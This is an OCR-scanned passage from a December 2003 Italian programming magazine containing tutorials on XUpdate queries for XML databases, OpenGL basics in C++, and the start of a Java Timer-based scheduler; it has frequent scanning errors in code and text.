elementi e attributi. Un esempio di query xupdate:
<xupdate:append select= "/persona [nome= 'pippo']"
xmlns:xupdate= "http://www.xmldb.org/xupdate"
name="indirizzo">
<citta>Topolinia</citta>
</xupdate:append>
La prima cosa che si nota è l'utilizzo del namespace
"http://www.xmldb.org/xupdate". La dichiarazione è
obbligatoria, altrimenti il servizio non sarà in grado
di interpretare l'XML. L'esempio mostra l'istruzione
append, che aggiunge l'xml contenuto in essa (ovve-
ro il tag citta) dentro il nodo selezionato dalla query
Attualmente eXist uti-
lizza una classe di
XIndice versione 1.1, e
questo crea un conflit-
to che non permette di
avere nello stesso clas-
spath i jar di entrambi
i database. Quindi
anche se e' possibile
scrivere un'applicazio-
ne in grado di funzio-
nare con entrambi,
potrà comunque esse-
re eseguita soltanto
utilizzando un tipo di
database alla volta.
Per compilare quindi e'
sufficiente avere nel
classpath soltanto il jar
xmldb.jar. Per eseguire
invece al classpath
dovranno essere
aggiunti gli altri jar del
tipo di database scelto.
http://www.ioprogrammo.it
Dicembre 2003/43 ►
TEORIA & TECNICA T ■ Database e XML
'III
SUL WEB
Progetto XML:DB
http://www.xmldb.org/
Libreria XML:DB
http://www.xmldb.org/
xapi/index.html
Javadoc
http://www.xmldb.org/xapi
/api/index.html)
Progetto XUpdate
http://www.xmldb.org/
xu pdate/i ndex. htm I
Working draft
http://www.xmldb.org/
xupdate/xupdate-wd.html
Specifiche XPath
http://www.w3.org/TR/xpath
Consorzio W3C
http://www.w3.org
indicata nell'attributo select (e cioè il documento
persona il cui nome è 'pippo'). La query mostrata
applicata al documento
< persona ><nome>pippo</pippox/persona>
produce:
< persona ><nome>pippo</pippoxcitta>Topolinia
</cittax/persona>
Presumibilmente la query mostrata opererà su un
solo documento (ipotizzando che il tag nome sia
univoco nella collectiori], ma questo non è affatto un
requisito: l'operazione di append sarà eseguita su
tutti i nodi selezionati dalla query. E' possibile che le
query selezionino più nodi all'interno dello stesso
documento, in questo caso l'istruzione sarà eseguita
più volte sullo stesso documento. Le altre istruzioni
disponibili sono: insert-before, insert-after, update,
remove e modifications. Le prime due sono simili
alla append in quanto permettono di aggiungere
nodi al documento. Si differenziano da questa per-
ché append aggiunge nodi dentro il nodo seleziona-
to, mentre insert-before li inserisce immediatamente
prima, e insert-after li inserisce immediatamente
dopo.
L'istruzione update permette di modificare il conte-
nuto di un tag o di un attributo. Esempio:
<xupdate: update select="/persona[nome= 'pippo']
/citta" xmlns:xupdate= "http://www.xmldb.org/
xupdate" name="indirizzo">
Paperopoli
</xupdate: update >
cambia:
< persona ><nome>pippo</pippoxcitta>Topolinia
</cittax/persona>
m:
< persona xnome>pippo</pippoxcitta> Paperopoli
</cittax/persona>
L'istruzione remove ha anch'essa l'attributo select e
cancella tutti i nodi selezionati. L'istruzione modi-
fications permette di raggruppare altre istruzioni.
Oltre a queste istruzioni sono disponibili le funzio-
ni di creazione di XML: element, attribute, text, pro-
cessing-instruction e comment. Queste istruzioni
creano rispettivamente tag, attributi, testo (conte-
nuto in un tag), processing instruction e commenti.
Le istruzioni di creazione possono essere usate
all'interno delle istruzioni insert-before, insert-
after, append e update.
Esempio:
<xupdate: element name="indirizzo">
<citta>Topolinia</citta>
</xupdate:element>
produce l'XML:
<indirizzo>
<citta>Topolinia</citta>
</indirizzo>
La differenza fra utilizzare l'istruzione element inve-
ce di specificare direttamente il tag (come è stato
fatto nel primo esempio di query xupdate) sta nel
fatto che con element il nome del tag è specificato a
tempo di esecuzione della query ed è il risultato di
una query xpath, permettendo quindi maggiore
flessibilità.
IL FUTURO
Il working draft del progetto xupdate è ancora
incompleto. Specifica altre tre istruzioni: variable, if
e value-of ma la loro descrizione è parziale, e
XIndice non le supporta a pieno, per ora, perciò ne
ometteremo la spiegazione. Il programma XMLDB-
Test6.java mostra come esegure una query xupdate.
Richiede due argomenti: l'uri della collection, e
path del file XML contenente la query da eseguire. Il
codice è simile a quello di XMLDBTest2, ovvero viene
richiesto il servizio (riga 57):
XUpdateQueryService service =
(XUpdateQueryService)coll.
getService("XUpdateQueryService","1.0");
e invocato il metodo update che richiede un oggetto
String contenente l'XML della query:
service.update(query);
Purtroppo l'implementazione di xupdate non è così
affidabile e completa come quella xpath. Innanzi-
tutto eXist ancora non supporta questo servizio.
XIndice invece, lo supporta ma la versione LO richie-
de JDK 1.3.1. Inoltre non tutte le specifiche del
working draft sono implementate. Tra queste forse
la più importante è modifications che permette di
specificare più operazioni contemporaneamente
permettendo di ottimizzare le comunicazioni con
database server. Il lavoro di sviluppo del team della
XML:DB Initiative e del team di XIndice procede di
pari passo ed è auspicabile che per quando uscirà la
versione 1.1 non solo documento di specifica di
XUpdate passi dallo stato di working draft a quello di
recommendation, ma anche che XIndice offra un
supporto più completo.
Simone Pierazzini
*> 44/ Dicembre 2003
http://www.ioprogrammo.it
Algoritmi per la grafica ■ T TEORIA & TECNICA
Le basi per la programmazione OpenGL
Creare effetti speciali
3D con C++ e OpenGL
Con uno strumento senza limiti come C++ insieme alla potenza e alla
semplicità di OpenGL la nostra creatività non ha più barriere!
In questo primo articolo affrontiamo le basi della programmazione.
Programmare è un'arte. Come disegnare, di-
pingere, scolpire. Cambiano gli strumenti, le
modalità, ma non il fine: esprimere la nostra
creatività. Un artista creativo è colui che riesce a
rompere gli schemi, ad usare lo strumento a sua
disposizione per andare oltre, per creare qualcosa
che esprima a pieno la sua fantasia. In questo arti-
colo vedremo quali sono i requisiti teorici necessari
per creare applicazioni 3D e realizzeremo un fra-
mework completo e riutilizzabile che ci permetterà
di sviluppare qualsiasi programma in modo sempli-
ce ed efficiente. Per dimostrarlo, utilizzeremo noi
stessi il framework per creare la nostra prima demo
tridimensionale animata con effetti di texture map-
ping, blending, luci, nebbia, smooth shading e musi-
ca; per avere un'idea potete dare uno sguardo alla
Fig. 1 e al programma d'esempio disponibili sul CD
allegato alla rivista e sul web.
COS'È OPENGL?
OpenGL è uno standard sviluppato da Silicon Gra-
phics per ideare grafica tridimensionale di qualità
professionale. Vi sarete probabilmente chiesti quan-
ta complessità richieda la ricreazione di ambienti
tridimensionali così ricchi di effetti speciali e di det-
tagli realistici. . . in realtà scopriremo che utilizzare
OpenGL non è difficile, perché gran parte dei detta-
gli è "nascosta" da un'interfaccia davvero elegante.
SINTASSI
DEI COMANDI
Ecco un esempio di comando OpenGL:
glColor3f (O.Of, O.Of, O.Of);
Con questo comando impostiamo il colore cor-
rente a nero (intensità nulla per tutte e tre le sue
componenti). Ogni comando OpenGL è compo-
sto da un prefisso gì seguito da lettere maiuscole
per ogni parola che compone il suo nome e da un
suffisso che indica il numero ed il tipo dei para-
metri (Fig. 2) .
Nel nostro esempio la funzione glColor3f accetta
infatti tre parametri di tipo float (ecco perché uti-
lizziamo la lettera / nelle costanti, che altrimenti
sarebbero interpretate dal compilatore come dou-
blé}. L'elenco dei suffissi è mostrato in Fig. 3. Ad
ogni comando non è associata necessariamente
una sola funzione: esistono decine di varianti per
glColor che accettano float, doublé e interi, in tre o
Q CD G WEB
OpenGL Cotle.zip
5y ==r
Fig. 1: La demo tridimensionale animata che accompagna il nostro articolo.
glColor3f (...);
^w
prefisso comando f tipo di parametri
numero di parametri
Fig. 2: Sintassi di un comando OpenGL.
http://www.ioprogrammo.it
Dicembre 2003/45 ►
TEORIA & TECNICA T ■ Algoritmi per la grafica
AMBIENTE
DI SVILUPPO
Per compilare il codice
che accompagna l'arti-
colo è sufficiente un
qualsiasi compilatore
C++. Sul CD troverete
un progetto realizzato
con Visual C++ 6.0 ed
uno con l'ambiente
gratuito DevC++. Nel
primo caso sono stati
utilizzati i files di una
recente Platform SDK
scaricabile dal sito:
http://www.microsoft.c
om/msdownload/platfo
rmsdk/sdkupdate/
Nel secondo, sono suf-
ficienti i files che
accompagnano il pac-
chetto d'installazione
di DevC++.
quattro parametri o ancora in forma di array
(creando un array e passando alla funzione l'indi-
rizzo del primo elemento) .
Per motivi di portabilità, OpenGL definisce i pro-
pri tipi di dati primitivi, il cui corrispondente
effettivo in linguaggio C può variare a seconda del
compilatore e dell'ambiente che utilizziamo.
Utilizzare i tipi primitivi di OpenGL aiuta ad eli-
minare problemi di compatibilità nel realizzare
una versione del nostro programma per un com-
pilatore o sistema operativo diverso. L'esempio
Suffisso
Tipo di dati
Corrispondente in C*
in OpenGL
b
8 bit integer
char
GLbyte
s
16 bit nteger
short
GLshort
i
32 bit integer
int
GLint
f
32 bit rloating point
float
GLfloat
d
64 bit rloating point
doublé
GLdoubie
ub
8 bit unsigned integer
unsigned char
GLubyte
US
16 bit unsigned integer
unsigned short
GLushort
Ul
32 bit unsigned integer
unsigned int
GLuint
* Tìpico. Dipende dal compilatore
Fig. 3: Suffissi e tipi di dati primitivi.
precedente ci introduce ad un nuovo concetto:
quello di variabile di stato. Il colore è una variabi-
le di stato. Quando assegniamo un valore ad una
variabile di stato, questo valore rimane attivo fin-
ché non decideremo di modificarlo. Nel nostro
esempio, tutto ciò che disegneremo sullo scher-
mo apparirà nero fino a quando non chiameremo
nuovamente glColor con un parametro diverso.
OpenGL è caratterizzato da un insieme molto
numeroso di variabili di stato, attivabili e disatti-
vabili (solitamente con i comandi glEnable e
glDisable) a seconda dell'effetto che intendiamo
applicare.
PRIMITIVE IH! OPENGL
L'esperienza nel realizzare software ci ha insegna-
to a scomporre i "problemi" in piccole parti, così
che sia più semplice risolverli implementando
delle strutture dati e degli algoritmi adeguati. In
OpenGL la logica non cambia: anche la più com-
plessa scena 3D del nostro videogioco preferito è
composta di diversi oggetti più semplici. L'oggetto
più semplice è un "punto", che in OpenGL prende
il nome di vertice. Più vertici formano insieme dei
poligoni, più poligoni formano oggetti tridimen-
sionali, più oggetti danno vita ad una scena com-
pleta. Per specificare un vertice utilizziamo il
comando glVertex, di cui esistono numerose
varianti:
glVertex3f (100. Of, 65. Of, O.Of);
Come deduciamo facilmente dal nome, la funzio-
ne glVertex3f accetta tre parametri di tipo float:
S (100,65,0)
1
Fig. 4: Il punto (ÌOO.O, 65.0, O.O) specificato dal
comando glVertex.
rappresentano le coordinate del punto nello spa-
zio 3D, come appare in Fig. 4. Tutte le chiamate a
glVertex appaiono sempre in blocchi con a capo
glBegin e al termine glEnd:
gIBegin (GL_POINTS);
glVertex3f (100. Of, 65. Of, O.Of);
glEnd();
Infatti, specificare soltanto un insieme di vertici
non avrebbe gran senso, perché OpenGL non
saprebbe come interpretarli; con glBegin stabilia-
mo la primitiva che desideriamo disegnare e i ver-
tici che indicheremo seguiranno le "regole" neces-
sarie per disegnare la primitiva scelta. Le primitive
a disposizione sono dieci:
GL_POINTS - Disegna un punto per ogni vertice
indicato
GL_LINES - Disegna una linea per ogni coppia di
vertici indicata
GL_LINE_STRIP - Disegna una serie di linee inter-
connesse tra tutti i vertici indicati nell'ordine
GL_LINE_LOOP - Come GL_LINE_STRIP; in più
collega l'ultimo vertice al primo
GL_TRIANGLES - Disegna un triangolo ogni tre
vertici indicati
GL_TRIANGLE_STRIP - Disegna una serie di
triangoli come in Fig. 5
GL_TRIANGLE_FAN - Disegna una serie di trian-
goli come in Fig. 6
GL_QUADS - Disegna un quadrilatero ogni quattro
vertici indicati
GL_QUAD_STRIP - Disegna una serie di quadrila-
teri come in Fig. 7
GL_POLYGON - Disegna un poligono
Fig. 5: Ordine di visualizzazione per
GL_ TRIANGLE_STRIP.
* 46/Dicembre 2003
http://www.ioprogrammo.it
Algoritmi per la grafica ■ ▼ TEORIA & TECNICA
ESEMPIO: DISEGNARE
UNA STELLA
Ci proponiamo adesso di disegnare una stella come
quella in Fig. 8, utilizzando le primitive OpenGL che
abbiamo appena mostrato.
Ci occupiamo prima della parte esterna come in Fig.
9, cui codice è riportato qui sotto:
void DrawStar (GLfloat fMax, GLfloat fMin, GLfloat z)
{ // parte esterna
int nFlag = 0;
bool bFirstTime = false;
glBegin(GL_TRIANGLES);
for (GLfloat angle = 2.0f*GL_PI; angle > O.Of;
angle -= GL_PI/10.0f)
{ if (nFlag % 2 != 1)
{ glVertex3f(fMin*sin(angle), fMin*cos(angle), z);
if (bFirstTime)
glVertex3f(fMin*sin(angle), fMin*cos(angle), z);
bFirstTime = true; }
else
{ glVertex3f(fMax*sin(angle), fMax*cos(angle), z);}
nFlag + + ; }
glEndQ;
// ... [parte interna - vedi esempio successivo] ... }
Come possiamo vedere, disegniamo una serie di
triangoli che "ruotano" attorno all'origine in senso
antiorario. Il verso in cui disponiamo i vertici è rile-
vante: vertici in senso antiorario rappresentano la
faccia principale di un poligono, vertici in senso ora-
v . v 5 y,
"• "■ v »./ \ \/ \,
A A7 A7 A7
Fig. 6: Ordine di visualizzazione per
GL_TRIANGLE_FAN.
rio la faccia nascosta. Le due facce di un poligono
possono avere proprietà diverse, per esempio riflet-
tere la luce in maniera differente. Inoltre, con un
trucchetto possiamo migliorare le prestazioni del
nostro programma "scartando" le facce posteriori
dei poligoni durante l'aggiornamento della scena, se
sappiamo che queste non vengono mai visualizzate.
Ecco come:
v.
v 3
v,
v 3
v„
v,
v,
Fig. 7: Ordine di visualizzazione per GL_QUAD_STRIP.
Fig. 8: Proviamo a creare l'algoritmo per disegnare
una stella.
glEnable(GL_CULL_FACE);
Questa tecnica è detta polygon cutting, e in OpenGL
è un altro esempio di variabile di stato.
Adesso disegniamo la parte interna della stella:
void StarsDL:: DrawStar (GLfloat fMax, GLfloat fMin,
GLfloat z)
{ // .... [ parte esterna - vedi esempio precedente] ....
// parte interna
glBegin(GL_TRIANGLE_FAN);
glVertex3f(0.0f, O.Of, z);
for (angle = 2.0f*GL_PI; angle > O.Of; angle
-= GL_PI/5.0f)
glVertex3f(fMin*sin(angle), fMin*cos(angle), z);
glEnd(); }
Questa volta utilizziamo un triangle fan. Abbiamo
scelto GL_TRIANGLE_FAN al posto di GL_POLY-
GON, non a caso: quando scomponiamo una figura
complessa nelle sue primitive, la nostra scelta deve
essere un triangolo, quando possibile. Avete mai
notato che i test per le schede grafiche utilizzano il
numero di triangoli al secondo come unità di misu-
ra? Questo perché sono ideate, testate ed ottimizza-
te per disegnare questa primitiva. Qual è l'unità di
misura in OpenGL? I valori che specifichiamo in
glVertex sono in cm, in metri, in km? La risposta è:
dipende da noi. L'importante è che rimanga consi-
stente in tutta la scena.
VISUALIZZAZIONE
DI OGGETTI
SULLO SCHERMO
Qual è la corrispondenza tra gli oggetti che posizio-
niamo nel nostro spazio 3D ideale e i pixel su uno
schermo 2D? Prima che possano essere visualizzati
sul nostro monitor, tutti gli oggetti subiscono una
serie di trasformazioni:
trasformazioni di modellazione, che includo-
no: rotazione, traslazione, scaling, proiezione
SUL WEB
Il principale sito di rife-
rimento per OpenGL è,
naturalmente, quello
ufficiale:
www.openql.org .
E' curato da SGI e rap-
presenta una risorsa
inesauribile cui un
appassionato program-
matore può attingere
liberamente. xAltri due
siti molto utili sono:
www.gamedev.net e
www.gametutorials.com.
Ospitano diverse guide
ed articoli a vari livelli,
utili per chi inizia ed
anche per chi ha già
una conoscenza
approfondita di
OpenGL.
http://www.ioprogrammo.it
Dicembre 2003/47 ►
TEORIA & TECNICA T ■ Algoritmi per la grafica
MHf
C++
SUL WEB
Internet è ricco di
risorse multimediali
che possiamo utilizzare
nelle nostre
applicazioni OpenGL,
da modelli 3D Studio di
elevata qualità a
musiche
d'accompagnamento.
Il modello scelto per la
nostra applicazione,
disponibile
gratuitamente sul sito:
www.amazinq3d, corri .
Rappresenta un
elicottero semplice ma
di buona qualità,
costituito da circa
cinquemila facce. Altri
modelli più complessi
sono disponibili previo
pagamento.
Per la musica di
sottofondo abbiamo
scelto una tra le
composizioni presenti
sul sito:
http://www,fortunecity,com
/tinpan/dreadlock/381/
qammal/indexenq. ritmi
ortografica o prospettica {modelview transforma-
tiorì);
proiezione e clipping, i processi per cui oggetti o
parti di essi vengono scartati perché fuori dal nostro
volume visivo {projection transformation);
conversione finale delle coordinate in pixels se-
condo le dimensioni di una finestra {viewport tran-
sformation).
Ciascuna di queste trasformazioni è rappresentata,
per semplicità, da un'operazione con le matrici: una
moltiplicazione di una matrice M (4x4) che descrive
il tipo di trasformazione per una matrice contenen-
te ogni vertice v della scena: v' - Mv. Una conoscen-
za approfondita di algebra e di trigonometria non è
indispensabile, poiché le operazioni necessarie ven-
gono eseguite automaticamente dai comandi
OpenGL, ma è utile per avere una padronanza com-
pleta sulla loro esecuzione. Per ruotare la stella che
abbiamo disegnato in Fig. 8, scriviamo:
gIMatrixMode (GL_MODELVIEW);
glLoadIdentity();
gIRotatef (fAngle, O.Of, O.Of, l.Of);
Con il comando gIMatrixMode stabiliamo che tutte
le operazioni sulle matrici interessino la matrice di
modelview; glLoadldentity inizializza la matrice e
gIRotatef ruota la stella di fAngle gradi rispetto all'as-
se z. In generale, gIRotatef moltiplica la matrice cor-
rente per la matrice che ruota l'oggetto in senso
antiorario rispetto al vettore individuato dall'origine
degli assi e il punto x, y, z. Il risultato di questa mol-
tiplicazione diventa la matrice corrente (ricordiamo
il concetto di stati), ciò significa che possiamo rea-
lizzare trasformazioni complesse combinando tra-
sformazioni in sequenza. glTranslate effettua una
trasformazione di translazione:
gITranslatef (x, y, z);
in cui x, y e z rappresentano il vettore di traslazione.
Dobbiamo ora decidere quale sarà il nostro volume
visivo, cioè scegliere come gli oggetti verranno
proiettati sullo schermo: in proiezione prospettica o
ortografica. La prima sarà utile nel caso di una simu-
lazione di una scena reale, perché agli oggetti sarà
applicata una trasformazione che farà loro assume-
re dimensioni inferiori via via che si allontaneranno
dal nostro punto di vista. Nel secondo caso ciò non
avviene, dando vita ad immagini in cui le dimensio-
ni degli oggetti si conservano invariate con la distan-
za, ed è quindi più utile in un programma di CAD.
Per prima cosa, selezioniamo la matrice di proiezio-
ne come attiva:
gIMatrixMode (GL_PROJECTION);
glLoadldentity ();
Tutte le modifiche che effettueremo saranno così
applicate a questa matrice. Per attivare una proie-
zione prospettica, utilizziamo il comando glFru-
stum; il volume visivo è rappresentato da un tronco
di piramide individuato dall'intersezione dei sei pia-
ni in Fig. 9:
osservatore m^L^T^
volume visivo
Fig. 9: Nella proiezione prospettica il volume visivo è
un tronco di piramide.
Nella proiezione ortografica, il volume visivo è un
parallelepipedo; essa si ottiene col comando
glOrtho. Infine, creiamo una viewport. Una viewport
è l'area della nostra finestra in cui verrà mostrata la
scena tridimensionale che abbiamo realizzato con
le trasformazioni precedenti: è come scegliere le
dimensioni di una fotografìa.
void
glViewport(GLint x, GLint y, GLsizei width,
GLsizei height);
x e y rappresentano la posizione del punto in alto a
sinistra sulla finestra, width e height la lunghezza e
l'altezza. Nel nostro programma assegneremo ad x e
y valore zero e a width e height la dimensione della
finestra, così che la nostra scena 3D occuperà tutto
lo schermo.
CREARE LA FINESTRA
PRINCIPALE
Per creare la finestra principale registriamo la sua
window class come di consueto con RegisterClass e
poi chiamiamo CreateWindow; le uniche note da
tener presenti sono lo stile CSJDWNDC per la win-
dow class e WS_CLIPCHILDREN e WS_CLIPSI-
BLINGS per la finestra: questi ultimi sono richiesti
perché durante l'aggiornamento siano escluse even-
tuali finestre figlie, mentre il primo stabilisce che
ogni finestra creata da questa window class (nel
nostro caso solo la finestra principale) avrà un devi-
ce context privato. In questo modo eviteremo di
richiedere che sistema operativo inizializzi un devi-
ce context nuovo ogni volta che dobbiamo disegnare
sulla finestra e che venga rilasciato al termine dell'o-
perazione, in modo da rendere più veloce l'aggior-
namento dello schermo. Utilizziamo EnumDisplay-
SettingsEx per enumerare tutte le modalità video
supportate da scheda grafica e monitor, finché non
incontreremo quella da noi scelta; nel caso in cui
uno tra i valori di width, height o color-depth sia zero
(i valori di default), utilizzeremo la risoluzione video
^ 48/Dicembre 2003
http://www.ioprogrammo.it
Algoritmi per la grafica ■ ▼ TEORIA & TECNICA
corrente. Per poter disegnare su questa finestra con
OpenGL, dobbiamo creare un rendering context. Un
rendering context è il canale attraverso il quale ogni
comando OpenGL viene eseguito; si tratta di un'e-
stensione di Microsoft, non un concetto nativo in
OpenGL, e può essere paragonato al concetto di
device context che utilizziamo per disegnare su una
finestra con GDI. Ma mentre dobbiamo specificare
un device context ad ogni funzione GDI, qui impo-
stiamo un rendering context come corrente, e questo
verrà automaticamente utilizzato da tutte le chia-
mate OpenGL che effettueremo nello stesso thread.
Per disegnare sullo schermo senza sfarfallii abbiamo
bisogno di un doppio buffer, cioè una schermata
"nascosta"; in ogni istante soltanto un buffer è visibi-
le: quando avremo completato di disegnare su quel-
lo nascosto lo mostreremo a video e quello prece-
dente verrà nascosto. In questo modo ogni immagi-
ne sarà visibile solo quando sarà stata disegnata
completamente. È il compito di ChoosePixelFormat
e SetPixelFormat, mentre wglCreateContext e wgl-
MakeCurrent creano il rendering context e lo rendo-
no attivo. La nostra finestra OpenGL è finalmente
pronta! Al termine dell'esecuzione dell'applicazione
ci ricorderemo di eliminare il rendering context e il
device context creati e riporteremo le impostazioni
dello schermo allo stato precedente (se sono state
modificate).
COSTRUIAMO
UHI FRAMEWORK
Con le nozioni di base che abbiamo appena mostra-
to siamo in grado di creare un piccolo framework;
potremo così riutilizzare il codice in qualsiasi altra
applicazione con gran facilità.
La classe principale, quella che rappresenta il nostro
genere di applicazione, è FullScreenGLApp. Essa
contiene i metodi necessari per creare una finestra a
schermo intero, inizializzare OpenGL e gestire la
coda dei messaggi. E' una classe astratta: non è pos-
sibile creare un oggetto direttamente, perché non
sappiamo in partenza quale comportamento assu-
merà la nostra applicazione, ma è necessario creare
una classe che derivi da essa ed implementi i suoi
metodi virtuali puri. OurFirstDemo è la classe deri-
vata che rappresenta la nostra applicazione; ne esi-
ste una sola istanza, di ambito globale. Le altre clas-
si possono accedere ai suoi metodi pubblici e,
soprattutto, ai suoi campi, che rappresentano le
variabili generali. Ecco come appare il WinMain:
theApp. InitSceneQ;
// Message loop
OurFirstDemo theApp;
int WINAPI WinMain (...)
{ if (ItheApp.CreateMainWi
idow
(hinsta
_TEXT('
nce,
GL Exa
Tiple
')))
// show error and exit
// [...vedi esempio successivo...] }
CreateMainWindow è il metodo che si occupa
della creazione della finestra principale, come
abbiamo descritto in precedenza. Possiamo deci-
dere la risoluzione in pixel dello schermo e i bit di
colore oppure lasciare a zero questi i valori (il
metodo ha questi valori di default): noi scegliamo
questa opzione, così la nostra applicazione utiliz-
zerà la risoluzione corrente. InitScene inizializza
tutti gli effetti che applicheremo, il main loop si
occuperà di disegnare la scena e rispondere ai
comandi dell'utente. Il distruttore di
OurFirstDemo, chiamato automaticamente al ter-
mine del programma, si occuperà di liberare le
risorse utilizzate. Il main loop della nostra applica-
zione necessita di particolare attenzione, perchè si
differenzia un po' da quello di un normale pro-
gramma per Windows; il nostro obiettivo è sempre
quello di migliorare al massimo le prestazioni:
MSG msg;
while (true)
{ if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
{ if (msg. message == WM_QUIT)
break;
TranslateMessage(&msg);
DispatchMessage(&msg);}
else
{ theApp. RenderScene();}
}
La prima differenza è l'uso della funzione Peek-
Message al posto di GetMessage. Entrambe preleva-
no i messaggi tra quelli disponibili nella coda di un
thread, ma GetMessage blocca l'esecuzione se la
coda è vuota, in attesa che arrivi un nuovo mes-
saggio. Questo è utile per una normale applicazio-
ne: se non ha messaggi da gestire rimane in attesa,
ed è ciò che una normale applicazione fa per gran
parte del tempo. Noi utilizzeremo PeekMessage, in
modo che se c'è un messaggio in coda verrà gesti-
to, altrimenti aggiorneremo continuamente la
visualizzazione della scena.
CONCLUSIONI
In questa prima parte dell'articolo abbiamo messo
in luce alcuni aspetti teorici indispensabili per
incominciare a lavorare con OpenGL. Nella secon-
da parte applicheremo tutte le conoscenze acqui-
site, mostreremo il comportamento delle altre
classi del nostro framework e prepareremo un pro-
gramma dimostrativo completo.
Marco Era
Da tre anni lavora in qua-
lità di consulente Visual
C++ e le sue esperienze
lavorative hanno incluso i
nomi di Ericsson Lab Italy
e ITStaff S.P.A.
Attualmente lavora per
conto diA&Day alla suite
di progetti MyOffice di
Nemetschek.
La sua pagina web è dispo-
nibile all'indirizzo:
www.marcoera.com.
Per contatti e feedback su
questo articolo potete
scrivere a:
marco. era@ioprogrammo. it
http://www.ioprogrammo.it
Dicembre 2003/49 ►
TEORIA & TECNICA T ■ Timer e Thread: esempi pratici
Realizziamo un CRONTAB in Java integrabile nei nostri progetti
Scheduling in Java
Spesso si rivela necessario impostare lo scheduling di alcune attività
all'interno di un'applicazione. Tramite le classi Timer e TimerTask è ora
più agevole realizzare tale funzionalità.
U CD U WEB
Sclietluler.zip
w e*
iava.leng.Object
j ava. irtil. Timer
-queueijavs utJI.TaskQueue
-threadijava.util.TimerThread
-threadReaper:java.lang Objeet
+Tirner
+Tirner
+schedule:vQJd
+schedule:void
+schedule:void
+schedule:void
^-scheduleAtFixedRale>cid
+schetìul5AtFiìietìRate:vold
-sched:void
+cancel:void
1
Java.Iang.ObJBcl
java.fang.Runnat^e
java.utif. TimerTask
lockjava.lang. Objeet
siateli nt
VIRGIN:int
SCHEDULED:int
EXECUTED:ini
CANCELLEDInt
nmlEwt j; OfV'i im>? ìc-ì-ii
period:long
#TimerTask
+um:vo>d
+cancel:boolean
tscheduledExecutionTìmelong
P !
Fig. 1: Class diagram
delle classi di timer
LJ esecuzione di attività in ben definiti istanti di
tempo è un'operazione che è richiesta spes-
i so. Pensiamo ad esempio a funzionalità di
remainder, di animazioni, di timeout, ecc. La solu-
zione più semplice in tali casi è quella di mettere il
thread di controllo nello stato di sleep per il tempo
prestabilito ed al suo risveglio eseguire il relativo
task. Ovviamente, ciò non garantisce nessuna preci-
sione temporale in quanto il tempo misurato all'in-
terno del thread non è uguale al tempo effettivo,
data la gestione multitasking dei vari sistemi opera-
tivi. A partire dalla versione 1.3 della piattaforma
Java 2, Standard Edition, la Sun ha messo a disposi-
zione due classi adatte allo scopo: Timer e Ti-
merTask.
TIMER E TIMERTASK
Tali classi, presenti nel package java.util, permetto-
no appunto di schedulare dei task per essere esegui-
ti in un thread in background. Esse sono mostrate
nel diagramma di Fig. 1. TimerTask è una classe
astratta, da cui derivare tutte le classi che rappresen-
tano i task schedulati. Essa, infatti, implementa l'in-
terfaccia Runnable, mantenendo astratto il metodo
run, che ogni sottoclasse deve definire. La classe
Timer, viceversa, crea e gestisce i thread su cui i task
sono eseguiti. Essa crea ed avvia un thread in back-
ground che gestisce l'esecuzione dei vari oggetti
TimerTask schedulati. Si possono creare più timer
all'interno di un'applicazione, ognuno gestirà il pro-
prio thread di background. Al momento della crea-
zione di un oggetto Timer, inoltre, si può specificare
se esso deve creare un thread di background di tipo
daemon. Ricordiamo che la caratteristica di un
thread daemon è tale che l'applicazione che lo ha
avviato può terminare anche se il thread è ancora in
esecuzione (al contrario di quanto accade per i
thread non daemon). Il thread può essere fermato in
qualsiasi momento invocando il metodo cancel
della classe TimerTask, ma non può essere più riav-
viato (occorre creare in tal caso un nuovo oggetto Ti-
merTask e reimpostare i task schedulati). La classe è
inoltre thread-safe, ossia i suoi metodi sono sincro-
nizzati, ma non permette lo scheduling in real-time
dato che si basa sul metodo Objeet .wait(long) che
può causare delle piccole imprecisioni. Una volta
creato un TimerTask, si può schedularlo invocando
il metodo schedule della classe Timer. Sono disponi-
bili quattro versioni di tale metodo, più due versioni
di schedule AtFixedRate.
schedule(TimerTask task, long delay)
schedule(TimerTask task. Date time)
schedule(TimerTask task, long delay, long period)
schedule(TimerTask task. Date time, long period)
scheduleAtFixedRate(TimerTask task, long delay, long period)
scheduleAtFixedRate(TimerTask task, Date firstTime,
long period)
Ognuna di esse imposta l'esecuzione dei task in uno
specificato istante di tempo (usando l'oggetto Date)
o dopo uno specificato ritardo (espresso in millise-
condi). Inoltre è possibile decidere se eseguire un
task una sola volta o più volte ripetendone l'esecu-
zione ad intervalli di tempo specificati. E' presente il
metodo scheduleAtFixedRate il quale schedula la
ripetizione dell'esecuzione di un task ad intervalli di
tempo relativi all'istante della prima esecuzione.
In pratica se un'esecuzione subisce un ritardo, le
esecuzioni successive sono eseguite ad intervalli
minori in modo da compensare il ritardo.
UHI SEMPLICE
SCHEDULER
Lo scheduler, che andremo a progettare il cui dia-
gramma delle classi è mostrato in Fig. 2 è una ver-
sione semplificata del comando crontab presente su
Unix. Esso legge le informazioni relative ai task sche-
dulati contenute in un file di testo, in cui in ogni riga
appare il comando da invocare con i relativi para-
metri e con l'orario in cui deve essere eseguito. Nel
nostro caso non andremo ad implementare tutte le
funzionalità del crontab ma solo quelle fondamen-
tali. Occorre inoltre precisare che la principale diffe-
renza del nostro scheduler, rispetto al crontab, è
quello di poterlo integrare in un'applicazione fava
». 50/ Dicembre 2003
http://www.ioprogrammo.it
Timer e Thread: esempi pratici I T TEORIA & TECNICA
.:■!"■;, I
■■fpsdh
-pa rse C o min ari ci: void
-ci eateT ask: Tim erT ask
SuheduledTask
■ SohedviwiT»»
Se h e duled T h rea d e d Ta s k
: ■ : ■ : ' ■ ■ . . ' . ..■
Re m ai n d e rC o mmand
+ Re ma i ride rCom ma nd
BackupCommand
Fig. 2: Class diagram dello scheduler
zioni leggere il relativo box o fare riferimento alle
risorse elencate a fine articolo).
BufferedOutputStream bof = new BufferedOutputStream(
(new FileOutputStream(args[0]));
ZipOutputStream zip = new ZipOutputStream(bof);
byte data[] = new byte[BUFFER];
File f = new File(args[l]);
String files[] = f.listQ;
BufferedlnputStream origin = nuli;
preesistente. Ad esempio può essere utilizzato in
una console in cui sono visualizzati all'utente dei
remainder. Iniziamo definendo la sintassi della riga
che, nel file di configurazione dello scheduler, speci-
fica le informazioni per l'esecuzione di un comando.
Essa può essere definita come una serie di campi
separati da uno spazio:
dd-mm-yyyy:hh:mm rate classe arg-1 arg-2... arg-n
Il primo campo specifica la data e l'ora di avvio del-
l'esecuzione del comando. Il secondo, invece, deno-
